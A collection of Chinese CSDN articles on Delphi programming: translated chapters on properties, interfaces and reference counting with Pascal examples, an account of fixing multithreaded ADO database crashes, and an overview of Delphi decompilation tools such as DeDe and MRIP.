 Delphi的IDE在Form最开始没有命名的部分声明字段和方法。因为TForm继承自TPersistent，而在TPersistent中使用了$M+指示符，因此最开始部分的访问级别为发布的published。换句话说，IDE将字段和方法声明为发布的。当Delphi装载一个Form描述文件（.dfm文件）时，它依赖于发布的信息来创建该Form对象。IDE依赖于Form类的最开始未命名部分的声明。假如你修改那一部分的东西，可能会有导致IDE的Form编辑器不可用的危险。

automated 自动的
自动的声明与公开的声明很接近，唯一的不同就是Delphi将保存更多的运行时间信息以支持OLE自动化服务。自动化的声明已经成陈旧了；你可以转而使用Delphi的类型库编辑器，但现在，他们为了向后兼容而保留了一部分。Delphi的下一版本可能会将这些部分彻底根除。第三章更进一步的阐述有关自动类型的声明。

派生的类可以提高属性的访问级别。通过在新的访问级别上重新声明属性来做到这一点（比如将首受保护的改为公开的）。但是不能降低一个属性的访问级别，并且你不能改变一个字段或者方法是否可见。你可以通过覆盖一个虚方法，或者声明一个覆盖方法在同样或者更高一级的访问级别上，但你不能降低访问级别。

Hiding a Constructor隐藏构造器

有时，一个类不用做公用的用途，而只是作为其他类的一个辅助类。这种情况下，你可能希望该辅助类的Create是私有的或者是受保护的，但这需要技巧。TObject声明了一个公开的构造器：Create.因此即使该辅助类的构造器是私有的或者受保护的，你依然可以调用自TObject继承而来的Create构造器。

尽管你不能改变继承来的Create构造器的访问权限，你还是可以通过另外一个公开的构造器来隐藏它。因为假如派生的构造器被调用，将引发一个异常。如下例：

type
  TPublic = class;
  TPrivateHelper = class
  private
//TPublic是唯一一个被允许调用真正的构造器的类
    constructor Create(Owner: TPublic);
      overload;
  public
//隐藏TObject.Create防止有人意外调用以试图创建TPrivateHelper的实例
    constructor Create;
      reintroduce; overload;
  end;
  TPublic = class
  private
    fHelper: TPrivateHelper;
  public
    constructor Create;
    destructor Destroy;
  end;

constructor TPrivateHelper.Create;
begin
  raise Exception.Create('Programming error')
end;

constructor TPublic.Create;
begin
  //这是唯一一个TPrivateHelper能被创建的地方
  fHelper := TPrivateHelper.Create(Self);
end;

Properties属性

属性看起来更象是字段，但可以起到与方法一样的作用。属性替代了读取者和设置者（有时也称为getter和setter），但更加机动和强大。属性对于Delphi的IDE而言非常关键，同时，我们也可以在其他许多场合使用属性。

属性由一个读者和一个写者来负责读取和设置属性的值。读者(Reader)可以是一个字段名，一个集合字段的选择器，或是返回该属性值的一个方法。写者(writer)可以是一个字段名，一个集合字段的选择器或者可以设置该属性值的一个方法。你可以省略写者，那么该属性为只读属性。当然，也可以省略掉读者以创建一个只写的属性，但是使用这么一个怪怪的属性将很受限制。同时省略读者和写者是没有意义的，因此Delphi不允许你这么做。

大多数的读者和写者是字段名称或方法名称，你也可以将其引向部分集合字段（记录和数组）。如果一个读者或写者指向一个数组元素，那么数组的索引必须是常量，并且该字段不能为动态数组。纪录和数组可以嵌套，甚至你可以使用可变类型的记录。例2-9展示了一个扩展的矩形类型，与Windows的TRect类型相似，但它是一个类，有属性和方法。

例2-9：属性的读者与写者

TRectEx = class(TPersistent)
  private
    R: TRect;
    function GetHeight: Integer;
    function GetWidth: Integer;
    procedure SetHeight(const Value: Integer);
    procedure SetWidth(const Value: Integer);
  public
    constructor Create(const R: TRect); overload;
    constructor Create(Left, Top, Right, Bottom: Integer); overload;
    constructor Create(const TopLeft, BottomRight: TPoint); overload;

    procedure Assign(Source: TPersistent); override;

    procedure Inflate(X, Y: Integer);
    procedure Intersect(const R: TRectEx);
    function IsEmpty: Boolean;
    function IsEqual(const R: TRectEx): Boolean;
    procedure Offset(X, Y: Integer);
    procedure Union(const R: TRectEx);

    property TopLeft: TPoint read R.TopLeft write R.TopLeft;
    property BottomRight: TPoint read R.BottomRight write R.BottomRight;
    property Rect: TRect read R write R;
    property Height: Integer read GetHeight write SetHeight;
    property Width: Integer read GetWidth write SetWidth;
  published
    property Left: Integer read R.Left write R.Left default 0;
    property Right: Integer read R.Right write R.Right default 0;
    property Top: Integer read R.Top write R.Top default 0;
    property Bottom: Integer read R.Bottom write R.Bottom default 0;
  end;

Array properties数组型属性

数组型属性总是与数量有关，并且带有数组的特性。数组型属性不能被发布，但有许多其他用途。数组的索引可以是任何类型的，并且你可以使用多维的数组。对于数组型属性而言，你必须使用读者和写者的方法，因为你没有办法将一个数组型的属性直接映射到一个数组型的字段上。

可以将其中的一个数组型属性指定为默认的。则你可以直接使用对象引用以及一个数组标号来访问该项属性而无需指明属性名称，如例子 2-10所示。

例 2-10：使用缺省的数组属性

type
  TExample = class
    ...
    property Items[I: Integer]: Integer read GetItem write SetItem;
    property Chars[C: Char]: Char read GetChar write SetChar; default;
  end;
var
  Example: TExample;
  I: Integer;
  C: Char;
begin
  Example := TExample.Create;
  I := Example.Items[4];     //必须显式的指明属性名称
  C := Example['X'];         //该数组型属性时缺省的
  C := Example.Chars['X'];   //效果如前

PartI

PartII

PartIII

PartIV

PartV

PartVI

更多文章


CSDN_文档中心_Delphi对象模型(Part V)

Delphi对象模型 (PART V)

Delphi对于面向对象编程的支持丰富而且强大。除了传统的类和对象，Delphi还提供了接口，异常处理，多线程编程等特性。这一章节深入讲解了Delphi的对象模型。读者应当对标准的Pascal比较熟悉，并且对有关面向对象编程的基本法则有一定了解。

（本文的英文原文将Delphi与Object Pascal统一表述为Delphi，可能有概念不清之嫌疑。但在大多数情况下，相信读者能够根据上下文来判定文中所述之Delphi的具体含义——译者注。）

Indexed properties索引型的属性

你可以将许多不同的属性映射到一个相同的读或写的方法，只需为每个属性指定一个索引值。这个索引值将被传递给读或写的方法以区别不同属性。

你甚至可以将数组型和索引型混合使用。读者和写者的方法将会区分他们——将数组的索引作为第一个参数，接着才是索引值。

Default values默认值

属性还用到stored和default两个指示符。这里的信息与 Delphi的Object Pascal语言的特性关系不大，但是Delphi的IDE将其用作保存Form的描述。stored指示符的值可以是一个Boolean类型的常量，也可以是一个Boolean型的字段，或是一个不需任何参数直接返回Boolean值方法。default指示符的值应当是与该属性的类型相同的一个常量。只有枚举型，整形以及集合类型的属性可以有一个缺省(default)的值。stored和default指示符只对发布的属性才有意义。

为了将缺省的数组数型与缺省的值区别开来，缺省数组的指示符以一个分号跟在属性的声明后面。缺省值指示符则直接置于属性声明以后。参见第五章了解有关default指示符的内容。

Using properties使用属性

通常情况下定义一个类时，我们将所有的字段设置为私有的，然后声明许多公开的属性来访问他们。然而Delphi并未对属性直接访问字段方式表示不满。但是使用属性，你可以在未来的某个时刻改变属性的实现，比如在字段值发生改变是增加校验等。你也可以使用属性来强制访问级别，比如当一个字段的之不能被改变时使用一个只读的属性。例 2-11显示的是声明和使用属性的几种方式。

例 2-11：声明和使用属性

type
  TCustomer = record
    Name: string;
    TaxIDNumber: string[9];
  end;
  TAccount = class
  private
    fCustomer: TCustomer;
    fBalance: Currency;
    fNumber: Cardinal;
    procedure SetBalance(NewBalance: Currency);
  published
    property Balance: Currency read fBalance write SetBalance;
    property Number: Cardinal read fNumber; //不可改变
    property CustName: string read fCustomer.Name;
  end;
  TSavingsAccount = class(TAccount)
  private
    fInterestRate: Integer;
  published
    property InterestRate: Integer read fInterestRate
        write fInterestRate default DefaultInterestRate;
  end;
  TLinkedAccount = class(TObject)
  private
    fAccounts: array[0..1] of TAccount;
    function GetAccount(Index: Integer): TAccount;
  public
//两种属性访问数组的方法：使用索引或者引用一个数组元素
    property Checking: TAccount index 0 read GetAccount;
    property Savings:  TAccount read fAccounts[1];
  end;
  TAccountList = class
  private
    fList: TList;
    function GetAccount(Index: Integer): TAccount;
    procedure SetAccount(Index: Integer; Account: TAccount);
    function GetCount: Integer;
  protected
    property List: TList read fList;
  public
    property Count: Integer read GetCount;
    property Accounts[Index: Integer]: TAccount read GetAccount
        write SetAccount; default;
  end;

procedure TAccount.SetBalance(NewBalance: Currency);
begin
  if NewBalance < 0 then
    raise EOverdrawnException.Create;
  fBalance := NewBalance;
end;

function TLinkedAccount.GetAccount(Index: Integer): TAccount;
begin
  Result := fAccounts[Index]
end;

function TAccountList.GetCount: Integer;
begin
  Result := List.Count
end;

function TAccountList.GetAccount(Index: Integer): TAccount;
begin
  Result := List[Index]
end;

procedure TAccountList.SetAccount(Index: Integer; Account: TAccount);
begin
  fList[Index] := Account
end;

Class-type properties对象类型的属性

对象类型的属性需要引起格外的关注。使用对象类型的时候，最好由对象的拥有者负责管理对象属性。也就是说，单单保存一个对象引用是不够的，需要保留一分该对象属性的一个副本。是用一个写者方法来做到这一点。Delphi的IDE要求所有发布的属性满足这个要求，同时也对未发布的属性也产生影响。

此规则的唯一的例外是，属性保存的是对Form上的组件的引用。这种情况下，属性必须保存对象引用而非组件的副本。

Delphi的IDE只在.dfm中存放组件名称以保存组件引用的值。当.dfm被装载时，Delphi查找组件名以恢复对象引用的值。如果你必须要在一个组件内部保存一个完整的组件，则你必须实现对内部组件的属性的访问委托。

确认属性的类继承自TPersistent而来，并且该类覆盖了Assign方法。通过调用Assign来实现属性的写方法。(TPersistent，在Classes单元中定义，并不是必须的，但确是一个最简单的方法——复制一个对象。否则，你将花费两倍的代价在任何其他用到的类中书写Assigned方法。)读方法可以提供对字段的直接访问。如果该对象有一个OnChange的事件，你最好将设置其值以了解对象何时作了改变。例子 2-12显示了一个典型的使用对象属性的方法。例子中定义了一个图形控件，用于在需要时在其范围内以平铺的方式显示位图。属性Bitmap存放了一个TBitmap对象。

例 2-12：声明和使用对象类型的属性

unit Tile;
interface
uses SysUtils, Classes, Controls, Graphics;
type
// Tile a bitmap
TTile = class(TGraphicControl)
private
fBitmap: TBitmap;
procedure SetBitmap(NewBitmap: TBitmap);
procedure BitmapChanged(Sender: TObject);
protected
procedure Paint; override;
public
constructor Create(Owner: TComponent); override;
destructor Destroy; override;
published
property Align;
property Bitmap: TBitmap read fBitmap write SetBitmap;
property OnClick;
property OnDblClick;
//还有许多有用的方法，限于空间不一一列出。详见TControl。
end;

implementation
{ TTile }
// Create the bitmap when creating the control.
constructor TTile.Create(Owner: TComponent);
begin
inherited;
fBitmap := TBitmap.Create;
fBitmap.OnChange := BitmapChanged;
end;

// Free the bitmap when destroying the control.
destructor TTile.Destroy;
begin
FreeAndNil(fBitmap);
inherited;
end;

// When the bitmap changes, redraw the control.
procedure TTile.BitmapChanged(Sender: TObject);
begin
Invalidate;
end;

// Paint the control by tiling the bitmap. If there is no
// bitmap, don't paint anything.
procedure TTile.Paint;
var X, Y: Integer;
begin
if (Bitmap.Width = 0) or (Bitmap.Height = 0) then
Exit;
Y := 0;
while Y < ClientHeight do
begin
X := 0;
while X < ClientWidth do
begin
Canvas.Draw(X, Y, Bitmap);
Inc(X, Bitmap.Width);
end;
Inc(Y, Bitmap.Height);
end;
end;

//通过复制TBitmap对象的方式设置新值
procedure TTile.SetBitmap(NewBitmap: TBitmap);
begin
fBitmap.Assign(NewBitmap);
end;
end.

PartI
PartII
PartIII
PartIV
PartV
PartVI
更多文章


CSDN_文档中心_Delphi对象模型(Part VI)

Delphi对象模型 (PART VI)

Delphi对于面向对象编程的支持丰富而且强大。除了传统的类和对象，Delphi还提供了接口，异常处理，多线程编程等特性。这一章节深入讲解了Delphi的对象模型。读者应当对标准的Pascal比较熟悉，并且对有关面向对象编程的基本法则有一定了解。

（本文的英文原文将Delphi与Object Pascal统一表述为Delphi，可能有概念不清之嫌疑。但在大多数情况下，相信读者能够根据上下文来判定文中所述之Delphi的具体含义——译者注。）

Interfaces接口

接口定义了包含一组抽象方法的类型。一个类，即使是自一个简单的基类继承而来也可以实现任意多的借口。接口与抽象类有些相似（即没有任何字段并且所有方法都是抽象方法的类），并且Delphi提供了附加的功能。Delphi的接口有时很象COM(组件对象模型)借口，但是使用Delphi的接口并不需要你了解有关COM的内容，同时你还可以将接口用作其他许多用途。

你可以声明一个新的接口——它继承于一个已经存在的接口。接口的声明包含了方法和属性的声明，但是没有字段。正如所有的类都继承于TObject一样，所有的接口类继承自IUnknown。接口IUnknown定义了三个方法：_AddRef,_Release,以及QueryInterface。如果你对COM熟悉的话，对此三个方法便不会陌生。前两个方法用于管理实现此接口的对象的生命周期引用计数。第三个方法用于存取对象可能实现的其他接口。

当你想要声明一个实现了一个或者多个接口的类时，你必须实现接口中所声明的所有方法。新的类可以直接实现接口的方法，也可以将此实现委托给一个属性——其值为一个接口。实现_AddRef,_Release以及QueryInterface方法最简单的方法就是继承TInterfacedObject及其派生类的方法，当然你也可以继承自其他类如果你想自己定以方法的实现的话。

新类在实现接口的方法时必须使用于接口方法一致的方法名，参数以及调用约定。Delphi自动将类的方法与接口的相应方法配对。假如要使用不同的方法名，你可以使用不同的方法名来重定向接口的方法。用作重定向的方法必须具有于接口的方法一致的参数和调用约定。这一特性非常重要，当一个类需要实现多个接口，而其中有重复的方法名时尤其如此。请在第五章查找关键字Class，以获得有关重定向方法的更多内容。

类可以使用implements指示符将接口的实现委托给一个属性。该属性的值必须得是该类将要实现的接口类型。当对象被映射到该接口上时，Delphi自动获取该属性的值，并且返回该接口。参考第五章中关于implements指示符的内容。

对于每个非委托方式实现的接口，编译器为其创建一个隐含的字段用于存放指向该接口的VMT。接口的字段正好位于对象隐含的VMT字段之后。正如对象引用其实是指向对象的隐含的VMT字段的指针，接口的引用也是指向隐含的VMT字段的一个指针。当对象被创建时Delphi自动初始化隐含字段。参考第三章有关编译器如何使用RTTI来追踪VMT和隐含字段的内容。

Reference counting引用计数

编译器触发对_AddRef和_Release的调用以管理接口对象的生命周期。要使用Delphid的自动的引用计数，声明一个接口类型的变量即可。当你将一个接口引用赋值给一个接口变量时，Delphi自动调用_AddRef。当改变量离开作用域时，Delphi自动调用_Release。

_AddRef和_Release的行为完全取决于你。如果你从TInterfacedObject继承，则这些方法完成引用计数的功能。_AddRef方法用于增加引用计数，_Release用于将引用计数减一。当引用计数为0时，_Release方法将释放对象。如果你从其他类继承而来，则你可以定义自己的方法。但是，你应当正确的实现QueryInterface方法，因为Delphi正是基于此来实现As操作。

Typecasting类型转换

Delphi调用QueryInterface来对接口实现部分as操作的功能。你可以使用as操作符将一个接口转换为另外一个接口。Delphi调用QueryInterface以获得一个新的接口引用。如果QueryInterface返回一个错误，则as操作将触发一个运行期错误。(在SysUtils单元中该运行其错误被映射到EIntfCastError异常类中。)

你可以用自己的方式来实现QueryInterface方法，虽然可能你更倾向于与TInterfacedObject的实现接近的那种。例子 2-13 显示的是一个类实现了普通的QueryInterface方法，但是对于_AddRef和_Release方法的实现确大不相同。稍后你将看到这样做有什么用处。

例 2-13：无需引用计数的接口类

type
  TNoRefCount = class(TObject, IUnknown)
  protected
    function QueryInterface(const IID:TGUID; out Obj):HResult; stdcall;
    function _AddRef: Integer; stdcall;
    function _Release: Integer; stdcall;
  end;

function TNoRefCount.QueryInterface(const IID:TGUID; out Obj): HResult;
begin
  if GetInterface(IID, Obj) then
    Result := 0
  else
    Result := Windows.E_NoInterface;
end;

function TNoRefCount._AddRef: Integer;
begin
  Result := -1
end;

function TNoRefCount._Release: Integer;
begin
  Result := -1
end;

Interfaces and object-oriented programming接口和面向对象编程

接口最重要的作用就是将类型继承(type inheritance)与类继承(class inheritance)分开。类继承是代码重用的一项有效的工具。派生的类轻松的继承了基类的字段，方法以及属性，并且不需要重新实现公用的方法。在一个强类型的语言中，比如Delphi中，编译器将一个类看作是一种类型，因此类继承与类型继承的概念似乎有些重叠了。但是尽可能地，我们对于类型（type）和类（Class）还是应当严格区分。

许多有关面向对象编程的书籍都将继承关系描述为“是”的关系，比如，一个TSavingsAccount“是”TAccount。你可以体会到相同的含义，当你使用Delphi的Is操作符，来测试一个Account变量是否是TSavingsAccount。

上文例子中的简单的“是”关系已经不能适应要求。正方形属于矩形的一种，但这并不意味着你愿意将TSquare继承自TRectangle。矩形属于多边形的一种，但你可能不希望TRectangle继承自TPolygon。类继承强制派生的类保存基类中声明的所有字段，但这种情况下，派生类并不需要这些信息。一个TSquare对象只需保存它所有边的一个单一长度。然而，一个TRectangle对象却必须保存两个长度。一个TPolygon对象则需要保存许多条边和顶点位置。

解决的方案就是将其从类继承（类C继承了B的字段和方法，而B则继承了A的字段和方法）分离为类型继承（正方形是矩形，矩形又是多边形）。使用接口实现类型继承，则你可以让类继承做它擅长的：字段和方法的继承。

换句话说就是，ISquare继承自IRectangle，而后者又继承自IPolygon。接口遵从了“是”的关系。完全的与接口分离，类TSquare实现了接口ISquare和IRectangle和IPolygon。TRectangle实现了IRectangle和IPolygon。

提示:
 COM编程的一个约定是将接口的名称命名为I打头的。Delphi的所有接口都遵循了这个约定。注意这只是一个有用的约定，并不是语言的强制要求。

从实现上而言，你可以声明符加的类以达到代码重用的目的。比如，使用TBaseShape实现对所有形状的公用字段和方法。TRectangle继承自TBaseShape然后实现跟根据矩形的特点实现相应方法。多边形依然继承自TBaseShape，并且根据多边形的特点实现相应的方法。

一个画图程序可以操作IPolygon接口来使用各种形状。例子 2-14显示的是基于这种设想的简单的类和接口。注意到每个接口都同时声明了GUID（全局唯一标识符）。使用QueryInterface时GUID是必须的。如果要使用接口的GUID，你可以直接使用接口的名称。Delphi会自动将接口的名称转换为对应的GUID。

例 2-14：分离类型和类继承

type
  IShape = interface
  ['{50F6D851-F4EB-11D2-88AC-00104BCAC44B}']
    procedure Draw(Canvas: TCanvas);
    function GetPosition: TPoint;
    procedure SetPosition(Value: TPoint);
    property Position: TPoint read GetPosition write SetPosition;
  end;

  IPolygon = interface(IShape)
  ['{50F6D852-F4EB-11D2-88AC-00104BCAC44B}']
    function NumVertices: Integer;
    function NumSides: Integer;
    function SideLength(Index: Integer): Integer;
    function Vertex(Index: Integer): TPoint;
  end;
  IRectangle = interface(IPolygon)
  ['{50F6D853-F4EB-11D2-88AC-00104BCAC44B}']
  end;
  ISquare = interface(IRectangle)
  ['{50F6D854-F4EB-11D2-88AC-00104BCAC44B}']
    function Side: Integer;
  end;

  TBaseShape = class(TNoRefCount, IShape)
  private
    fPosition: TPoint;
    function GetPosition: TPoint;
    procedure SetPosition(Value: TPoint);
  public
    constructor Create; virtual;
    procedure Draw(Canvas: TCanvas); virtual; abstract;
    property Position: TPoint read fPosition write SetPosition;
  end;
  TPolygon = class(TBaseShape, IPolygon)
  private
    fVertices: array of TPoint;
  public
    procedure Draw(Canvas: TCanvas); override;
    function NumVertices: Integer;
    function NumSides: Integer;
    function SideLength(Index: Integer): Integer;
    function Vertex(Index: Integer): TPoint;
  end;
  TRectangle = class(TBaseShape, IPolygon, IRectangle)
  private
    fRect: TRect;
  public
    procedure Draw(Canvas: TCanvas); override;
    function NumVertices: Integer;
    function NumSides: Integer;
    function SideLength(Index: Integer): Integer;
    function Vertex(Index: Integer): TPoint;
  end;
  TSquare = class(TBaseShape, IPolygon, IRectangle, ISquare)
  private
    fSide: Integer;
  public
    procedure Draw(Canvas: TCanvas); override;
    function Side: Integer;
    function NumVertices: Integer;
    function NumSides: Integer;
    function SideLength(Index: Integer): Integer;
    function Vertex(Index: Integer): TPoint;
  end;

派生类继承了祖先类实现的接口。TRectangle继承自TBaseShape，则TBaseShape实现了IShape接口也就是TRectangle实现了IShape接口。而接口的继承与此有些不同。接口的继承仅仅为了类型上的便利，也就是说你不必重新再去输入许多方法的声明。当一个类实现一个接口时，并不意味着该类自动的实现了祖先的接口。事实上，该类只实现了出现在该类的声明部分的这些接口（以及在祖先类的声明部分出现的接口）。因此，即使IRectangle继承自IPolygon，TRectangle类还是得将IRectangle和IPolygon显式的罗列出来。

要实现类型体系，你不应当使用引用计数。相反，你需要实现显式的内存管理，如同处理普通的Delphi对象一样。在这种情况下，实现_AddRef和_Release 方法的最好办法就是连根拔除，就象我们在例 2-13里见到的TNoRefCount类那样。还有需要注意的是，不要有任何变量指向失效的引用。一个已经被释放的对象引用可能导致问题，因为Delphi将会自动调用_Release方法。也就是说，永远不要尝试使用指向无效指针的变量，使用接口而不使用引用计数强制你必须这么做。

PartI

PartII

PartIII

PartIV

PartV

PartVI

更多文章


CSDN_文档中心_Delphi多线程下的ADO编程

Delphi多线程下的ADO编程

前言：

几个月前接到一个任务：将一后台程序访问数据库的方式从BDE改为ADO，原因是由于业务量的增加，通过BDE不论是向数据库写入数据还是从数据库中读出数据的速度都变得无法忍受，大家都知道ADO在数据库访问速度方面比BDE要快的多了（我写了一个测试程序使用ADO比使用BDE快了近100倍!）。这个任务还不简单嘛，只要将BDE的控件更换成ADO的再修改一些代码不就搞定了！我当时确实是这么想的，而且用了不到一个小时就搞定，测试运行一段没问题，大功告成了，我想。谁知道一个恶梦就此开始，我的愚昧无知使我在程序中埋下了一个超级炸弹，它的威力不次于9.11撞击世贸大厦的两架客机，整个系统被它无情的催跨。程序在运行很长一段时间候捕获到一系列的异常：

OLE error 800A0E7F

Access violation at address 00135770. Write of address 005D8B78

Access violation at address 00178EC6. Read of address FFFFFFFF

Access violation at address 1F499BDD in module 'msado15.dll'. Read of address 0000000C

…….

接下来我们的系统就像世贸大厦一下悲壮的倒下了。

为什么？

为什么？程序在为改动之前使用BDE运行得好好的，我并没有更改程序的结构啊？我十分的迷惑，当然要想解决问题一切都得从错误代码开始。

OLE error 800A0E7F：什么咚咚来的？它什么意思？什么原因引起的？我找了半天也没有在我的系统里找到它的说明，好在现在网络发达，也许有人遇到跟我一样的问题吧，于是我用OLE error 800A0E7F作为关键字搜了一下，嘿嘿，果真被我找到了：

>0x800A0E7F Operation cannot be performed while executing
> asynchronously.

异步执行时操作不能被执行（完成），还是不太清楚错误的原因，于是我在一个网站发布了帖子求助，一些人告诉我ADO线程不安全，需要线程同步，事实上我的程序做了同步，而且针对不同的应用使用了多个ADOConnection，我想我应该自己动手来好好研究一下这个问题了，它很意思。接下来我该好好分析我的程序并做一系列的测试来找到那个炸弹。

找出炸弹

在我的程序里所有访问数据库都是通过一个DataModule单元TDataModule1类提供的接口来完成，共有三个线程使用到了TDataModule1的对象DataModule1，DataModule1是一全局变量，下面是数据库的访问模式的结构模型图。（实际结构要复杂很多）

数据库：

ADOConnection1

ADOConnection2

Table1

Table2

①ADOQuery1

②ADOQuery3

①ADOProcedure1

①ADOProcedure2

①UpdateQuery

③ADOQuery2

图1

说明：

①UpdateQuery

ADOQuery控件用来修改table2记录，①代表为线程1所有，

白色代表使用频率很低（颜色越深说明使用频率越高）

③ADOQuery2

查询table2，③代表为线程3所有，使用频率较高

②ADOQuery3

查询table2，③代表为线程2所有，使用频率很高

①ADOProcedure1

ADO存储过程控件向表table2插入数据，属于线程1频繁使用

①ADOProcedure2

修改ADOProcedure1插入的记录，属于线程1频繁使用

其中线程3和线程2使用ADO控件时没有加锁，而线程1的所有访问都加锁了（这样做毫无作用）

程序的结构出来了，问题在哪里呢？接下来我写了一个小小的测试程序，该程序的结构与上面相同，它拥有三个线程和一个DataMoule单元，线程一通过ADOQuery1查询数据库DBTest的table1的记录，线程二通过ADOQuery2向table1中插入记录，线程三通过ADOQuery3修改table1中最后一条记录的某个字段。ADOQuery1、ADOQuery2、ADOQuery3都通过ADOConnection1与数据库DBTest1建立连接，一开始，所有的线程都不做同步，运行，OK!错误出来了其中两个错误正是我所想要的，这就是我的程序报的错啊。

图二

接下来我将三个ADOQuery都加上锁，再运行没问题，我又将ADOQuery分别通过三个不同的ADOConnection来连接数据库且不加锁也没有问题。看来我是找到那个可恶的炸弹了，怎么拆了它？

排除炸弹

炸弹找到了，我该怎么拆它？是简单的做线程同步还是每个线程都是用一个ADOConnection？这下我再也不敢蛮干了，我得好好看看这方面的资料，在Delphi帮助文档，《Using the main VCL thread》我找到了下面一段话：

……

Data access components are thread-safe as long as each thread has its own database session component. The one exception to this is when you are using Access drivers. Access drivers are built using the Microsoft ADO library, which is not thread-safe.

…..

同样在Delphi的帮助文档《Managing multiple sessions》中给我明确的建议：

……

If you create a single application that uses multiple threads to perform database operations, you must create one additional session for each thread.

…..

喔找到了：ADO控件是线程不安全的，所以如果你的程序是使用多线程访问数据库的话你应该确保每个线程都有自己的会话。

事实上在另外一本书《Delphi 4编程技术内幕》一书在谈到线程安全数据库访问也有相同的建议，不过台湾李维先生在他的《Delphi 5.X ADO/MTS/COM+高级程序设计篇》却说，如果你的程序不是连接多个数据库的话，最好同一数据库使用一个连接，不要使用多个连接。怎么办？谁对谁错？为什么要使用一个连接呢？这主要是从服务器来考虑，因为数据库服务器需要为每个连接分配一定的资源并对其进行维护，连接数越多服务器方所耗的资源就越多，服务器的性能也就越差，所以要尽可能的减少客户端的连接数。好在我的程序是作为服务器程序增加一些连接对数据库服务器的影响不会很大，现在我可以重新设置我的数据库访问结构模型了

数据库：

ADOConnection1

ADOConnection2

Table1

Table2

①ADOQuery1

②ADOQuery3

①ADOProcedure1

①ADOProcedure2

①UpdateQuery

③ADOQuery2

ADOConnection2

图三

我增加了一个ADOConnection以保证每个线程都有一个自己连接(会话)，从而避免出现资源冲突，我的问题是不是解决了呢？是的，这个问题已经解决了，将我的程序与数据库放在同一台机器上运行没有问题，但是当程序与数据库服务器不在同一台机器上运行时会出现一个新的问题。

[DBNMPNTW]ConnectionWrite(writeFile())错误

这个错误不是多线程引起的，而是Micrsoft自己的一个问题，产生该问题的原因可能是因为网络异常而引起的，可以通过SQLServer客户端的默认的网络协议named pipes network propocol 改为 TCP/IP Sockets，具体做法请参考Micrsoft技术支持网站的《Microsoft Knowledge Base Article - Q178040》

总结

由于ADO控件的线程不安全性（事实上这种不安全性是来自Micrsoft ADO Library，所以在其它开发工具中也存在同样的问题）因此在使用多线程ADO编程时应该注意一下问题：

第一：要保证每个线程都拥有自己的会话。

第二：作为客户端程序应该尽可能的减少与数据库库服务器的连接数。

第三：在退出线程之前确保释放所有的资源。

参考文献：

1、李维《Delphi 5.X ADO/MTS/COM+高级程序设计篇》 机械工业出版社 2000。

2、Charlie Calvert《Delphi 4编程技术内幕》潇湘工作室 译 机械工业出版社 1999。


CSDN_文档中心_Delphi工具—反编译Delphi（二）

第二节 Delphi反向工程

目前 ，Borland没有提供任何产品用于反编译可执行（.exe）文件或“Delphi 编译文件”（.dcu）为原始的程序代码（.pas）。

Delphi编译单元：DCU（Delphi compiled unit: DCU）

当一个Delphi工程被编译或运行时，一个编译单元（.dcu）文件便产生了。默认情况下，每个单元的编译版本都存放在独立的二进制文件中，该文件的文件名与单元文件同名，同时它的扩展名为.DCU。例如：unit1.dcu文件包含有在unit1.pas文件中声明的代码和数据。

这意味着如果你有某些资源，如编译过的组件，你所必须做的是反编译它并获得源代码。错了，DCU文件格式是非文档的（所有者格式）并且它可以随版本的改变而改变。

编译器之后：Delphi反向工程（After the compiler: Delphi Reverse Engineering）

如果你试图反编译一个Delphi可执行文件，有几件事你应该知道：

Delphi源程序文件通常以两种文件类型存储：ASCII代码文件（.pas、.dpr）和资源文件（.res、.rc、.dfm、.dcr）。Dfm文件包含表单中所容纳的对象的详细资料（属性）。当创建一个可执行文件时，Delphi拷贝.dfm文件中的信息到已完成的.exe代码文件。表单文件描述了表单中的每个组件，包括所有稳定的属性值。每当我们改变表单的位置、按钮的标题或为组件指派一个事件过程时，Delphi就会在DFM文件中记下这些改变（不是事件过程的代码—它是存放在pas/dcu文件中）。为了从可执行文件中得到'dfm'，我们需要理解什么类型的资源被存放在Win32可执行文件中。

所有被Delphi编译过的程序都有以下几个部分：CODE、DATA、BSS、.idata、tls、.rdata、.rsrc。从反编译的角度来看，最重要的部分是：CODE、.rsrc。在“Adding functionality to a Delphi program"（“在Delphi程序中增加功能”）（译者加：陆续译出）文章中讨论了关于Delphi可执行格式、类信息和DFM资源的一些有趣的内容：怎样分配事件给同一个表单中定义的其他事件句柄（handler）处理、怎样增加你自己的事件句柄（handler）从而在可执行文件中增加代码改变按钮的标题。

存放在.exe文件中的各种类型的资源里，RT_RCDATA或Application-defined（程序定义）资源（原始数据）拥有编译前DFM文件所包含的信息。为了从.exe文件中选出DFM数据，我们可以调用EnumResourceNames API函数...关于从.exe文件中选出DFM数据的更多的信息，可以参考：“Coding a Delphi DFM explorer”（“编写一个Delphi DFM探测器”）。（译者加：陆续译出）


CSDN_文档中心_Delphi工具—反编译Delphi（三）

第三节 Delphi 反编译工具

反向工程一直被认为是技术奇才的专有艺术，需要熟悉汇编语言和调试器。下面几个Delphi反编译器允许任何人反编译大多数Delphi可执行文件，即使只有有限的技术知识。

如果你对Delphi程序反向工程感兴趣，我建议你看一看以下几个“反编译器”：

DeDe

DeDe是一个非常快的程序，用于分析Delphi编译的可执行文件。反编译之后，DeDe会提供以下信息：

  • 所有的目标dfm文件。你可以用Delphi打开并编辑它们；
  • 带有良好的注释的ASM代码的所有发布的方法，它涉及字符串、输入函数调用、类方法调用、单元的组件、Try-Except和Try-Finally块。默认情况下，DeDe仅仅只获得已发布方法的源代码，但如果你通过使用Tools | Disassemble Proc菜单知道RVA偏移量的话，你也可以处理可执行文件中的其他过程。
  • 大量的附加信息。
  • 你可以创建一个带有所有的dfm、pas、dpr文件的Delphi工程的文件夹。注：pas文件包含上面提及的被良好注释过的ASM代码。他们不能被再编译！

Revendepro

Revendepro可以找到程序中几乎所有的结构（类、类型、过程等），并生成pascal表达式、过程则以汇编程序的形式写出来。由于汇编程序的某些限制，生成的结果不能被在编译。这个反编译器的源代码可以免费获得。不幸的是，这是唯一一个我不能使用的反编译器—当试图用它反编译某些Delphi可执行文件时，总提示异常。

MRIP

这个对用途文件分割器可以从其它文件中寻找和摘取文件。MRIP分割100多种文件格式。对我们而言，最重要的是MRipper可以反编译任何Delphi可执行文件。该工具可以从Delphi应用程序中摘取所有的资源：cursors（光标）、icons（图标）、dfm文件、pas文件和其他资源。pas文件不包含事件过程执行。MRIP是一个DOS工具。

DfmExplorer

以下是DfmExplorer的说明（包括原始资料）：

  • 通过调用Win32 API的“LoadLibrary”或“LoadLibraryEx”函数在内存中载入可执行模块（EXE\DLL\BPL\DPL）。
